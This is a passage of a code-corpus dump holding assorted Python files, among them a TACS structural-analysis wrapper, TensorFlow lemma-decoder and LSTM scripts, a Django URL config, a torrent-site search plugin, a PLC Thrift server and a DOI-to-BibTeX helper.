True\n\n # update thickness prop cards in t\n if self.tacs_aim.change_shape:\n self.tacs_aim.update_properties()\n\n # record whether the design has changed & first analysis flag as well\n if self._first_analysis:\n self._first_analysis = False\n changed_design = True\n\n return changed_design\n\n @property\n def fea_solver(self) -> pyTACS:\n \"\"\"\n build pyTACS from nastran dat file and comm\n \"\"\"\n return pyTACS(self.tacs_aim.dat_file_path, self.comm)\n\n def createTACSProbs(self, addFunctions: bool = True):\n \"\"\"\n creates TACS list of static, transient, or modal analysis TACS problems from the TacsAim class\n most important call method from the tacsAim class: SPs = tacs_aim.createTACSProbs\n \"\"\"\n fea_solver = self.fea_solver\n fea_solver.initialize()\n SPs = fea_solver.createTACSProbsFromBDF()\n self.SPs = SPs # store the static problems as well\n\n # add the analysis functions of the model into the static problems\n # add each analysis function into the static problems\n if addFunctions:\n for caseID in self.SPs:\n for analysis_function in self.analysis_functions:\n self.SPs[caseID].addFunction(\n funcName=analysis_function.name,\n funcHandle=analysis_function.handle,\n compIDs=analysis_function.compIDs,\n **(analysis_function.kwargs),\n )\n return self.SPs\n\n def pre_analysis(self):\n \"\"\"\n call tacs aim pre_analysis to build TACS input files and mesh\n only regenerate the mesh each time if there are shape variables\n \"\"\"\n if self.tacs_aim.change_shape:\n self.tacs_aim.pre_analysis()\n\n def run_analysis(self, write_f5: bool = True, iteration: float = 0):\n \"\"\"\n run the static problem analysis\n \"\"\"\n\n assert self._setup\n\n # create a new set of static problems for w/ or w/o shape change\n self.SPs = self.createTACSProbs(addFunctions=True)\n\n # solve the forward and adjoint analysis for each struct problem\n self._tacs_funcs = {}\n self._tacs_sens = {}\n for caseID in self.SPs:\n # write in the new thickness variables for sizing only case\n if not self.tacs_aim.change_shape:\n xarray = self.SPs[caseID].x.getArray()\n for ithick, thick_var in enumerate(self.thickness_variables):\n xarray[ithick] = float(thick_var.value)\n\n self.SPs[caseID].solve()\n\n if (\n self.tacs_aim.change_shape\n ): # if the shape changes write a sensitivity file to the tacsAim directory\n self.SPs[caseID].writeSensFile(\n evalFuncs=self.function_names,\n tacsAim=self.tacs_aim,\n )\n else: # only call evalFunctions and evalFunctionSens if not shape change else redundant\n self.SPs[caseID].evalFunctions(\n self._tacs_funcs, evalFuncs=self.function_names\n )\n self.SPs[caseID].evalFunctionsSens(\n self._tacs_sens, evalFuncs=self.function_names\n )\n\n if write_f5:\n self.SPs[caseID].writeSolution(\n baseName=\"tacs_output\",\n outputDir=self.tacs_aim.analysis_dir,\n number=iteration,\n )\n\n # return this object for method cascading\n return self\n\n def post_analysis(self):\n \"\"\"\n call tacs aim wrapper postAnalysis and update analysis functions and gradients\n \"\"\"\n\n if self.tacs_aim.change_shape:\n # call serial tacsAim postAnalysis if shape changes\n functions_dict = None\n gradients_dict = None\n\n if self.root_proc:\n self.tacs_aim.post_analysis()\n functions_dict = {}\n gradients_dict = {}\n # update functions and gradients on root proc from tacsAim dynout of ESP/CAPS serial\n for func in self.analysis_functions:\n functions_dict[func.name] = self.tacs_aim.aim.dynout[\n func.name\n ].value\n gradients_dict[func.name] = {}\n for var in self.variables:\n gradients_dict[func.name][var.name] = self.tacs_aim.aim.dynout[\n func.name\n ].deriv(var.name)\n\n # broadcast functions and gradients dict to all other processors from root proc\n if self.comm is not None:\n functions_dict = self.comm.bcast(functions_dict, root=0)\n gradients_dict = self.comm.bcast(gradients_dict, root=0)\n\n # update functions and gradients into the tacsAim analysis_functions\n for func in self.analysis_functions:\n func.value = functions_dict[func.name]\n for var in self.variables:\n func.set_derivative(var, gradients_dict[func.name][var.name])\n\n # otherwise use struct problems to read in function values and gradients\n else: # just thickness variable case\n for func in self.analysis_functions:\n # corresponding tacs key for single loadset (key=\"loadset#\" + \"func_name\")\n for tacs_key in self._tacs_funcs:\n if func.name in tacs_key:\n break\n\n # add the function and gradients to each analysis function\n func.value = self._tacs_funcs[tacs_key].real\n\n struct_derivs = self._tacs_sens[tacs_key][\"struct\"]\n for ithick, thick_var in enumerate(self.thickness_variables):\n func.set_derivative(thick_var, struct_derivs[ithick].real)\n\n return self\n","sub_path":"tacs/caps2tacs/tacs_model.py","file_name":"tacs_model.py","file_ext":"py","file_size_in_byte":12998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"2518357","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\n\ndef parse_requirements(fn):\n \"\"\" Currently only supports tarball and pypi-style requirements. \"\"\"\n ir, dl = [], []\n for req in open(fn).readlines():\n req = req.strip()\n if req:\n tgt = dl if req.startswith('http') else ir\n tgt.append(req.strip())\n return ir, dl\n\ninstall_requires, dependency_links = parse_requirements('requirements.txt')\nsetup(name=u'{{ project_name }}',\n version=u'git',\n description=u'',\n author=u'',\n author_email=u'',\n url=u'',\n install_requires=install_requires,\n dependency_links=dependency_links,\n provides=(u'{{ project_name }}',),\n packages=find_packages())\n","sub_path":"virtualenvwrapper/templates/project_template/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"146780809","text":"import tensorflow as tf\nfrom util.utils import find_first, AddInputsWrapper\n\n\ndef lemma_decoder(word_rnn_outputs, tag_feats, word_cle_states, word_cle_outputs, word_form_len,\n target_seqs, target_lens, charseq_lens, words_count, lem_num_chars, rnn_cell, rnn_cell_type,\n rnn_cell_dim, cle_dim, beams, beam_len_penalty, lem_smoothing, bow, eow):\n \"\"\"Decodes lemmas from a variety of inputs\"\"\"\n # Target embedding and target sequences\n tchar_emb = tf.get_variable('tchar_emb', [lem_num_chars, cle_dim])\n target_seqs_bow = tf.pad(target_seqs, [[0, 0], [1, 0]], constant_values=bow)[:, :-1]\n tseq_emb = tf.nn.embedding_lookup(tchar_emb, target_seqs_bow)\n\n decoder_layer = tf.layers.Dense(lem_num_chars, name=\"decoder_layer\")\n base_cell = rnn_cell(rnn_cell_dim, name=\"decoder_cell\")\n\n def create_attn_cell(beams=None):\n with tf.variable_scope(\"lem_cell\", reuse=tf.AUTO_REUSE):\n def btile(x):\n return tf.contrib.seq2seq.tile_batch(x, beams) if beams else x\n cell = base_cell\n cell = AddInputsWrapper(cell, btile(word_rnn_outputs)) # Already dropped out\n cell = AddInputsWrapper(cell, btile(tag_feats)) # Already dropped out\n cell = AddInputsWrapper(cell, btile(word_cle_states))\n att = tf.contrib.seq2seq.LuongAttention(rnn_cell_dim, btile(word_cle_outputs),\n memory_sequence_length=btile(word_form_len))\n cell = tf.contrib.seq2seq.AttentionWrapper(cell, att, output_attention=False)\n return cell\n\n train_cell = create_attn_cell()\n pred_cell = create_attn_cell(beams) # Reuses the attention memory\n\n if rnn_cell_type == \"LSTM\":\n initial_state = tf.nn.rnn_cell.LSTMStateTuple(c=word_cle_states, h=word_cle_states)\n else:\n initial_state = word_cle_states\n\n # Training\n with tf.variable_scope(\"lem_decoder\", reuse=tf.AUTO_REUSE):\n train_helper = tf.contrib.seq2seq.TrainingHelper(tseq_emb, sequence_length=target_lens, name=\"train_helper\")\n train_initial_state = train_cell.zero_state(words_count, tf.float32).clone(cell_state=initial_state)\n train_decoder = tf.contrib.seq2seq.BasicDecoder(cell=train_cell, helper=train_helper, output_layer=decoder_layer, initial_state=train_initial_state)\n train_outputs, _, _ = tf.contrib.seq2seq.dynamic_decode(decoder=train_decoder)\n train_logits = train_outputs.rnn_output\n lemma_predictions_training = train_outputs.sample_id\n\n # Compute loss with smoothing\n with tf.variable_scope(\"lem_loss\"):\n weights_reshaped = tf.reshape(tf.sequence_mask(target_lens, dtype=tf.float32), [-1])\n if lem_smoothing:\n train_logits_reshaped = tf.reshape(train_logits, [-1, train_logits.shape[-1]])\n gold_lemma_onehot = tf.one_hot(tf.reshape(target_seqs, [-1]), lem_num_chars)\n loss_lem = tf.losses.softmax_cross_entropy(gold_lemma_onehot,\n train_logits_reshaped,\n weights=weights_reshaped,\n label_smoothing=lem_smoothing)\n else:\n loss_lem = tf.losses.sparse_softmax_cross_entropy(target_seqs, train_logits, weights=tf.sequence_mask(target_lens, dtype=tf.float32))\n\n # Predictions\n with tf.variable_scope(\"lem_decoder\", reuse=tf.AUTO_REUSE):\n if not beams:\n pred_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(embedding=tchar_emb, start_tokens=tf.tile([bow], [words_count]), end_token=eow)\n pred_initial_state = pred_cell.zero_state(words_count, tf.float32).clone(cell_state=initial_state)\n pred_decoder = tf.contrib.seq2seq.BasicDecoder(cell=pred_cell, helper=pred_helper, output_layer=decoder_layer, initial_state=pred_initial_state)\n pred_outputs, _, lemma_prediction_lengths = tf.contrib.seq2seq.dynamic_decode(\n decoder=pred_decoder, maximum_iterations=tf.reduce_max(charseq_lens) + 10)\n lemma_predictions = tf.argmax(pred_outputs.rnn_output, axis=2, output_type=tf.int32)\n else:\n # Beam search predictions\n pred_initial_state = pred_cell.zero_state(words_count * beams, tf.float32).clone(cell_state=tf.contrib.seq2seq.tile_batch(initial_state, args.beams))\n pred_decoder = tf.contrib.seq2seq.BeamSearchDecoder(\n pred_cell, embedding=tchar_emb, start_tokens=tf.tile([bow], [words_count]),\n end_token=eow, output_layer=decoder_layer, beam_width=beams,\n initial_state=pred_initial_state, length_penalty_weight=beam_len_penalty)\n dec_outputs, dec_state, dec_lens = tf.contrib.seq2seq.dynamic_decode(decoder=pred_decoder,\n maximum_iterations=tf.reduce_max(charseq_lens) + 10)\n lemma_predictions = dec_outputs.predicted_ids[:, :, 0]\n lemma_prediction_lengths = 1 + find_first(lemma_predictions, eow)\n\n return loss_lem, (lemma_predictions_training, lemma_predictions, lemma_prediction_lengths)\n\n\ndef sense_predictor(word_rnn_outputs, tag_feats, target_senses, num_senses, words_count,\n predict_sense, sense_smoothing):\n \"\"\"Network for predicting sense separately\"\"\"\n if predict_sense:\n sense_features = word_rnn_outputs\n sense_features = tf.concat([sense_features, tag_feats], axis=-1)\n sense_layer = tf.layers.dense(sense_features, num_senses)\n sense_prediction = tf.argmax(sense_layer, axis=1)\n _gold_senses = tf.one_hot(target_senses, num_senses)\n sense_loss = tf.losses.softmax_cross_entropy(\n _gold_senses, sense_layer, label_smoothing=sense_smoothing)\n else:\n sense_prediction = tf.zeros([words_count], dtype=tf.int64)\n sense_loss = 0.0\n\n return sense_loss, sense_prediction\n","sub_path":"model/lemma_decoder.py","file_name":"lemma_decoder.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"651123825","text":"# -*- encoding = utf-8 -*-\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\nlearn = tf.contrib.learn\n\nHIDDEN_SIZE = 30 # LSTM中隐藏节点的个数\nNUM_LAYERS = 2 # LSTM的层数\n\nTRAINING_EXAMPLES = 10000\nTESTING_EXAMPLES = 1000\nSAMPLE_GAP = 0.01\n\nTRAIN_BATCH_SIZE = 100\nTRAIN_NUM_STEPS = 50 # 循环网络神经网络截断的长度\n\nEVAL_BATCH_SIZE = 1\nEVAL_NUM_STEPS = 1\nSTEPS = 5000\n\ndef generate_data(seq):\n \"\"\"\n 从采样序列中获取数据\n :param seq:\n :return:\n \"\"\"\n X = []\n y = []\n # 序列的第i项一直到i + TIMESTEPS - 1项做为输入,而第i + TIMESTEPS做为输出.也就是根据前面TIMESTEPS个点来预测第TIMESTEPS + 1个点\n for i in range(len(seq) - 1 - TRAIN_NUM_STEPS):\n X.append([seq[i: i + TRAIN_NUM_STEPS]])\n y.append([seq[i + TRAIN_NUM_STEPS]])\n return np.array(X, dtype=np.float32), np.array(y, dtype=np.float32)\n\nclass LSTMModel:\n def __init__(self, batch_size, num_steps):\n # 使用多层的LSTM结构,不采用dropout\n lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(HIDDEN_SIZE)\n cell = tf.nn.rnn_cell.MultiRNNCell([lstm_cell] * NUM_LAYERS)\n\n self.batch_size = batch_size\n self.num_steps = num_steps\n\n # 定义输入层\n self.input_data = tf.placeholder(tf.float32, [batch_size, num_steps])\n # 定义预期输出\n self.target = tf.placeholder(tf.float32, [batch_size, 1])\n\n # 初始化最初的状态.全零向量\n self.initial_state = cell.zero_state(batch_size, tf.float32)\n\n # 定义输出,只关心最后一个时刻的输出结果\n # state存储不同batch中LSTM的状态,将其初始化为0\n state = self.initial_state\n print('state:',state[0])\n inputs = self.input_data\n print('inputs:', inputs)\n with tf.variable_scope('RNN'):\n cell_output, _ = tf.contrib.rnn.static_rnn(cell, inputs)\n # for time_step in range(num_steps):\n # if time_step > 0:\n # tf.get_variable_scope().reuse_variables()\n # # 从输入数据中获取当前时刻的输入并传入LSTM结构\n # print('inputs:',inputs[:, time_step])\n # cell_output, state = cell(tf.reshape(inputs[:, time_step], shape=[TRAIN_BATCH_SIZE,1]), state)\n output = cell_output[-1]\n\n # 用linear_regression()默认的平均平方差定义损失函数,并得出加上一层全连接层之后的预测值\n self.prediction, self.loss = learn.models.linear_regression(output, self.target)\n self.cost = self.loss\n # 创建优化模型\n self.train_op = tf.contrib.layers.optimize_loss(self.loss, tf.contrib.framewrok.get_global_step(),\n optimizer='Adagrad', learning_rate=0.1)\ndef main():\n # 生成数据\n test_start = TRAINING_EXAMPLES * SAMPLE_GAP\n test_end = (TRAINING_EXAMPLES + TESTING_EXAMPLES) * SAMPLE_GAP\n test_X, test_y = generate_data(np.sin(np.linspace(test_start, test_end, TESTING_EXAMPLES, dtype=np.float32)))\n train_model = LSTMModel(TRAIN_BATCH_SIZE, TRAIN_NUM_STEPS)\n test_model = LSTMModel(EVAL_BATCH_SIZE, EVAL_NUM_STEPS)\n with tf.Session() as sess:\n init_op = tf.global_variables_initializer()\n sess.run(init_op)\n state = sess.run(train_model.initial_state)\n for i in STEPS:\n start = (i * TRAIN_BATCH_SIZE) % len(train_X)\n end = min(start + TRAIN_BATCH_SIZE, len(train_X))\n sess.run(train_model.train_op,feed_dict={train_model.input_data: train_X[start:end],\n train_model.target: train_y[start:end],\n train_model.initial_state: state})\n if i % 100 == 0:\n cost = sess.run(train_model.cost, feed_dict={train_model.input_data: train_X,\n train_model.target: train_y,\n train_model.initial_state: state})\n print('After %d steps, the cost is:', cost)\n\n\nif __name__ == '__main__':\n main()","sub_path":"RNN/predict_sine_function.py","file_name":"predict_sine_function.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"642061656","text":"import numpy as np\n# import scipy.linalg\n# import sys\n\n\ndef gradient_descent(initial_guess, cost, grad, eta=1e-3,\n num_iterations=1e4, cost_target=0):\n M = initial_guess\n for iter_num in range(int(num_iterations)):\n g = grad(M)\n g = g / np.linalg.norm(g)\n newM = M - eta * g\n if cost(newM) > cost(M):\n eta = eta / 2\n if eta < 1e-14:\n print('eta too small, aborting mission.')\n break\n print(eta)\n continue\n M = newM\n if cost_target > 0 and cost(M) < cost_target:\n break\n\n if (1 and num_iterations > 100 and\n iter_num % int(num_iterations / 100) == 0):\n print((\"{0:2.0f}%: loss: {1}\").format(\n 100 * iter_num / num_iterations,\n cost(M)\n ))\n return M\n","sub_path":"gradient_descent.py","file_name":"gradient_descent.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"460395011","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport os\nimport Helper\n\nSTR_DOWNLOAD_SUCCESS='DownLoad Success!'\nSTR_DOWNLOAD_FAILED='DownLoad Failed!'\n\ndef run():\n tmpUrl=raw_input(\"Input Url:\")\n if Helper.CheckUrl_Http_Https(tmpUrl):\n tmpSavePath=raw_input(\"Input SavePath:\")\n tmpSavePathStr=str(tmpSavePath)\n tmpSavePathStr=Helper.Remove_r_n(tmpSavePathStr)\n\n # 开始下载\n tmpRet=Helper.DownLoad(tmpUrl,tmpSavePathStr)\n if tmpRet:\n print(STR_DOWNLOAD_SUCCESS)\n else:\n print(STR_DOWNLOAD_FAILED)\n run()\n else:\n print(Helper.STR_INVALID_URL)\n run()\n\n\nif __name__==\"__main__\":\n run()\n","sub_path":"Tools/SimpleDownload.py","file_name":"SimpleDownload.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"503007","text":"\"\"\"arclib URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls import url,include\nfrom book.views import homePage,addBook,showAdd,search,document,post,book,rep,review\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\n\nurlpatterns = [\n url('^review$', review),\n url('^rep$', rep),\n url('^doc$', document),\n url('^search$', search),\n url(r'^$', homePage),\n url(r'^form$', showAdd),\n url(r'^add$', addBook),\n url(r'^book(\\w+)$', book),\n url(r'^doc(\\w+)$', post),\n path('admin/', admin.site.urls),\n url(r'mdeditor/', include('mdeditor.urls')),\n]\n\nif settings.DEBUG:\n # static files (images, css, javascript, etc.)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"arclib/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"389693200","text":"#VERSION: 1.01\n#AUTHORS:lima66\n\n\ntry:\n # python3\n from html.parser import HTMLParser\nexcept ImportError:\n # python2\n from HTMLParser import HTMLParser\n\nfrom novaprinter import prettyPrinter\nfrom helpers import retrieve_url, download_file\nimport re\n\nDOWNLOAD_PATTERN = r'Download Torrent from torrentproject\\.se'\n\nclass torrentproject(object):\n url = \"https://torrentproject.se\"\n name = \"TorrentProject\"\n\n supported_categories = {'all': '9000',\n 'movies': '2000',\n 'tv': '2101',\n 'music': '1000',\n 'books': '3000',\n 'games': '6000',\n 'software': '7000',\n 'others': '4000'}\n page_empty = 0\n\n def download_torrent(self, info):\n torrent_page = retrieve_url(info)\n torrent_link_match = re.search(DOWNLOAD_PATTERN, torrent_page)\n if torrent_link_match and torrent_link_match.groups():\n clean_name = torrent_link_match.groups()[0].strip()\n torrent_file = self.url + clean_name\n print(download_file(torrent_file))\n else:\n print('')\n\n class MyHtmlParser(HTMLParser):\n \"\"\" Sub-class for parsing results \"\"\"\n DIV, A, HREF, CLASS, SPAN, LI = ('div', 'a', 'href', 'class', 'span', 'li')\n\n def __init__(self, url):\n HTMLParser.__init__(self)\n self.url = url\n self.current_item = {} # dict for found item\n self.item_name = None # key's name in current_item dict\n self.inside_li = False\n self.find_data = False\n self.find_number = False\n self.parser_class = {\"l tl\": \"name\", # class\n \"bc torrent-size\": \"size\",\n \"bc seeders\": \"seeds\",\n \"bc leechers\": \"leech\"}\n\n def handle_starttag(self, tag, attrs):\n params = dict(attrs)\n\n if tag == self.LI and self.CLASS in params:\n if params.get(self.CLASS) == 'g w0':\n self.inside_li = True\n if not self.inside_li:\n return\n\n if self.CLASS in params:\n value_find = self.parser_class.get(params[self.CLASS], None)\n if value_find:\n self.item_name = value_find\n self.find_data = True\n self.current_item[self.item_name] = \"\"\n\n if self.HREF in params and params.get(self.CLASS) == 'l tl':\n link = params[self.HREF]\n if tag == self.A and link.endswith('.html'):\n self.current_item[\"desc_link\"] = \"\".join((self.url, link))\n self.current_item[\"link\"] = \"\".join((self.url, link))\n self.current_item[\"engine_url\"] = self.url\n self.find_data = True\n\n if tag == self.SPAN and self.CLASS in params:\n if params.get(self.CLASS) == \"gac_b\":\n self.find_data = True\n\n def handle_data(self, data):\n if self.inside_li and self.item_name and self.find_data:\n self.find_data = False\n self.current_item[self.item_name] = data.strip().replace(',', '')\n\n def handle_endtag(self, tag):\n if self.inside_li and tag == self.LI:\n self.inside_li = False\n self.item_name = None\n self.find_data = False\n array_length = len(self.current_item)\n\n if array_length < 7:\n return\n\n prettyPrinter(self.current_item)\n self.current_item = {}\n\n def search(self, query, cat='9000'):\n \"\"\" Performs search \"\"\"\n parser = self.MyHtmlParser(self.url)\n\n query = query.replace(\"%20\", \"+\")\n \"\"\"http://torrentproject.se/?hl=en&safe=off&num=20&start=0&orderby=seeders&s=2017&filter=9000\"\"\"\n\n category = self.supported_categories[cat]\n number_page = 0\n while True:\n page = \"\".join((self.url, \"/?hl=en&safe=off&num=20&start={0}\"\n \"&orderby=seeders&s={1}&filter={2}\")).format(number_page, query, category)\n\n html = retrieve_url(page)\n length_html = len(html)\n if length_html <= self.page_empty:\n break\n\n parser.feed(html)\n parser.close()\n\n number_page += 1\n\n\n","sub_path":"torrentproject_KO.py","file_name":"torrentproject_KO.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"488149664","text":"#!/usr/bin/env python\nimport sys\n\nfrom thrift import Thrift\n#from shared.ttypes import SharedStruct\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\nfrom thrift.server import TServer\n\nfrom cassspectr.interface.spectrograph_interface.PLC import Processor\nfrom cassspectr.plcmodel.plc_driver import PLCDriver\n\nimport logging as log\nimport argparse\nimport sys\n\ndef process_commandline_args():\n \"\"\"Process the command line arguments.\"\"\"\n parser = argparse.ArgumentParser(description=\"Driver program for the PLC controller.\")\n parser.add_argument('--serial', default='/dev/ttyUSB1',\n dest='serial_port',\n help='Specify the serial port to use.')\n parser.add_argument('--log', \n help=\"Specify the logging level.\", default='info', \n choices=['debug', 'info', 'warn', 'error', 'critical'])\n parser.add_argument('--test_mode', help=\"Enable test mode.\", action=\"store_true\")\n parser.add_argument('--tcp_port', default=\"9090\", dest='tcp_port', help=\"Specify the TCP port.\")\n parser.add_argument('--logfile', \n help=\"Specify the log file.\")\n args = parser.parse_args()\n return args\n\ndef setup_logging(args):\n # Set up logging\n logfile = __file__.split('.py')[0] + \".log\"\n if \"logfile\" in args and args.logfile != None:\n logfile = args.logfile\n print(\"Writing logs to {}\".format(logfile))\n loglevel = args.log\n\n log.basicConfig(filename = logfile, \n format='%(asctime)s: %(message)s', \n level=getattr(log, loglevel.upper()))\n\n\nif __name__ == '__main__':\n # Basics\n args = process_commandline_args()\n setup_logging(args)\n log.info(\"Starting {}.\".format(__file__))\n\n # Create the PLCDriver class\n log.debug(\"Instantiating PLCDriver class.\")\n try:\n if args.test_mode:\n print(\"Starting in test mode\")\n plcd = PLCDriver(port=args.serial_port, test=True)\n else:\n plcd = PLCDriver(port=args.serial_port)\n \n except Exception as e:\n print(\"Error initializing PLC driver. Reason: \" + str(e))\n sys.exit(1)\n\n handler = plcd\n processor = Processor(handler)\n transport = TSocket.TServerSocket(port=args.tcp_port)\n tfactory = TTransport.TBufferedTransportFactory()\n pfactory = TBinaryProtocol.TBinaryProtocolFactory()\n\n server = TServer.TSimpleServer(processor, transport, tfactory, pfactory)\n\n print('Starting the server. Listening on port={}.'.format(args.tcp_port))\n server.serve()\n print(\"Server exiting... Done.\")\n","sub_path":"saao/saao/usr/local/lib/python2.7/dist-packages/cassspectr/plcmodel/plc_server.py","file_name":"plc_server.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"580981077","text":"import argparse\nimport cv2\n\nap = argparse.ArgumentParser()\nap.add_argument('-i', '--image', required=True, help='Path to image')\nargs = vars(ap.parse_args())\n\n\nimage = cv2.imread(args['image'])\ncv2.imshow('Original', image)\ncv2.waitKey(0)\n\n\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nprint(image.shape, gray.shape)\nprint(type(gray))\n# When sigmaX = sigmaY = 0 in the input arguments, \n# they will be calculated from the kernel size\nblurred = cv2.GaussianBlur(gray, (7, 7), 0)\ncv2.imshow('Blurred', blurred)\ncv2.waitKey(0)\n\n\n(T, thresh) = cv2.threshold(\n\tblurred, 95, 255, cv2.THRESH_BINARY\n\t)\ncv2.imshow('Thresholded', thresh)\ncv2.waitKey(0)\n\ncv2.imshow('Output', cv2.bitwise_and(image, image, mask=thresh))\ncv2.waitKey(0)\n\ncv2.destroyAllWindows()","sub_path":"lesson1.9-thresholding/thresholding_quiz.py","file_name":"thresholding_quiz.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"456351703","text":"# vim:set ff=unix expandtab ts=4 sw=4:\n\n# from pathlib import Path\nimport re\n# from sympy import flatten\nimport yaml\n# import copy\n# import builtins\n#from mendeley import Mendeley\n#from mendeley.exception import MendeleyException\n# from Latex import Latex\n# from helpers import pp\nfrom string import Template\nimport unicodedata\nimport bibtexparser\nfrom bibtexparser.bparser import BibTexParser \nfrom bibtexparser.customization import homogeneize_latex_encoding \nfrom bibtexparser.customization import convert_to_unicode\nimport requests\n\nclass DoiNotFoundException(Exception):\n def __init__(self, doi):\n self.doi = doi\n\n def __str__(self):\n return(\"the doi \" + self.doi + \" could not be resolved\")\n \n\ndef strip_accents(s):\n return ''.join(c for c in unicodedata.normalize(\"NFD\",s) if unicodedata.category(c)!=\"Mn\")\n # return unicodedata.normalize(\"NFD\",s) # why not just this way?\n\n\ndef clean_key(key):\n key = key.replace(' ', '_')\n key = key.replace('.', '')\n key = key.replace(':', '')\n return strip_accents(key)\n\n\ndef bibtex_entry_from_str(entry_str):\n # converts a BibTeX entry from string to dictionary\n\n parser = BibTexParser()\n bib_database = bibtexparser.loads(entry_str, parser=parser)\n return(bib_database.entries[0])\n\n\ndef bibtex_entry_str(entry):\n # converts a BibTeX entry from string to dictionary\n\n bib_database = bibtexparser.bibdatabase.BibDatabase()\n bib_database.entries.append(entry)\n\n bibtex_string = bibtexparser.dumps(bib_database)\n return bibtex_string\n\n\n#def mendeley_data_by_doi(doi):\n# # returns Mendeley data or 'None'\n#\n# with open('mendeley_user_config.yml') as f:\n# config = yaml.load(f,Loader=yaml.FullLoader)\n# mendeley = Mendeley(config['clientId'], config['clientSecret'])\n# session = mendeley.start_client_credentials_flow().authenticate()\n#\n# try:\n# doc = session.catalog.by_identifier(doi=doi, view='bib')\n# except MendeleyException:\n# return None\n#\n# mendeley_doi = doc.identifiers['doi']\n# if doi == mendeley_doi:\n# return doc\n#\n# # either an error or doi could not be resolved\n# return None\n#\n#\n#def mendeley_bibtex_entry_str_by_doi(doi):\n# # returns a BibTeX entry as a string or 'None'\n#\n# doc = mendeley_data_by_doi(doi)\n# if doc:\n# # doi could be resolved by Mendeley\n# # now create a BibTex entry as a string\n#\n# full_names=[a.last_name +\", \" +a.first_name for a in doc.authors]\n# author_string=\" and \".join(full_names)\n# key_str=clean_key(doc.authors[0].last_name+str(doc.year)+(doc.source))\n#\n# t=Template(\"\"\"\\\n#@article{$key,\n# author = {$authors},\n# doi = {$doi},\n# journal = {$source},\n# link = {http://dx.doi.org/$doi},\n# number = {$issue},\n# pages = {$pages},\n# title = {$title},\n# volume = {$volume},\n# year = {$year}\n#}\"\"\")\n# entry_str=t.substitute(\n# key=key_str,\n# authors=author_string,\n# doi=doi,\n# source=doc.source,\n# issue=doc.issue,\n# pages=doc.pages,\n# title=doc.title,\n# volume=doc.volume,\n# year=doc.year \n# )\n#\n# return entry_str\n#\n#\n#def mendeley_bibtex_entry_by_doi(doi):\n# # returns a BibTeX entry as dictionary or 'None'\n#\n# entry_str = mendeley_bibtex_entry_str_by_doi(doi)\n#\n# if entry_str:\n# return bibtex_entry_from_str(entry_str)\n# else:\n# return None\n\n\ndef direct_data_by_doi(doi):\n # returns the data coming directly from doi or 'None'\n\n url = \"http://dx.doi.org/\" + doi\n headers = {\"accept\": \"application/x-bibtex\"}\n doi_result = requests.get(url, headers = headers).text\n\n pattern = re.compile(r\"((\\w|-)+$)|((\\w|-)+ (\\w|-)+\\.$))\")\n reg_result = regexp.search(author)\n last_name = reg_result.group(\"last_name\")\n first_name = regexp.sub(\"\", author).strip() # the rest is the first name, cut leading and trailing whitespaces\n author_lst.append(last_name + \", \" + first_name)\n\n entry['author'] = (\" and \").join(author_lst)\n\n # generate citation key (same as in Mendeley case)\n auth = entry['author']\n auth = auth.split(',', 1)[0] # last name of first author\n yr = entry['year']\n \n # insert either journal, journaltitle or booktitle into key\n if 'journal' in entry.keys():\n jour = entry['journal']\n elif 'journaltitle' in entry.keys():\n jour = entry['journaltitle']\n elif 'booktitle' in entry.keys():\n jour = entry['booktitle']\n else:\n jour = \"\"\n\n key_str = auth + yr + jour\n key_str = strip_accents(key_str.replace(\" \", \"_\")) # no accents or spaces in key\n\n entry['ID'] = key_str\n return(entry)\n else:\n return None\n\n\ndef direct_bibtex_entry_str_by_doi(doi):\n # returns a BibTeX entry as a dictionary or 'None'\n\n entry = direct_bibtex_entry_by_doi(doi)\n if entry:\n return bibtex_entry_str(entry)\n else:\n return None\n\n\ndef storable_bibtex_entry_by_doi(doi):\n # returns a dictionary with the BibTex entry or 'None'\n\n ## 1st: check on Mendeley, because they provide abstracts\n #entry = mendeley_bibtex_entry_by_doi(doi)\n #if entry: \n # return entry\n\n # 2nd: check doi.org directly\n entry = 